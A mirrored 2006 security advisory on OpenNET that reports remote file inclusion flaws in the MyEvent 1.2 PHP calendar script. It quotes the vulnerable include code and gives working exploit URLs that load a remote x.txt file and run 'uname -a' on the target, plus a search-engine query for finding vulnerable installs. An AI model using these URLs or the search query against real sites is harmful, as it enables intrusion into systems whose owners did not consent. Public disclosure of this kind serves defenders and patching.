The OpenNET Project
 
Search (keywords):  SOFT ARTICLES TIPS & TRICKS SECURITY
LINKS NEWS MAN DOCUMENTATION


MyEvent Remote File Execution And XSS Attacking


<< Previous INDEX Search src / Print Next >>
Date: 16 Apr 2006 18:42:04 -0000
From: [email protected]
To: [email protected]
Subject: MyEvent Remote File Execution And XSS Attacking
X-Virus-Scanned: antivirus-gw at tyumen.ru

Website : http://mywebland.com/
Script : MyEvent 
Version : 1.2
Risk : High
Class : Remote 
Credits : b3g0k,Nistiman,flot,Netqurd etc.. my forget other friends
Google look for :) = "MyEvent 1.2 " or "/calendar/myevent.php"

I. Remote Code Execution 

This is script to very big high it bug being found. 

"Event.php" remote code execution :

global $myevent_path;

include_once $myevent_path."includes/template.php";
$template = new Template($myevent_path."templates/") ;
$template->set_filenames(array(
'event' => 'event.tpl',
?>

Did you see the "myevent_path" :) 


http://www.site.com/[path]/event.php?myevent_path=http://www.site.com/x.txt?&cmd=uname -a

"&#304;nitialize.php" Remote Code :

include $myevent_path."config.php";
include $myevent_path.$language;
include_once $myevent_path."includes/template.php" ;

$db = mysql_connect($host,$login,$password);
mysql_select_db($base,$db);
>

Yep now code

http://www.site.com/[path]/initialize.php?myevent_path=http://www.site.com/x.txt?&cmd=uname -a


<< Previous INDEX Search src / Print Next >>



Партнёры:
PostgresPro
Inferno Solutions
Hosting by Hoster.ru
Хостинг:

Закладки на сайте
Проследить за страницей
Created 1996-2024 by Maxim Chirkov
Добавить, Поддержать, Вебмастеру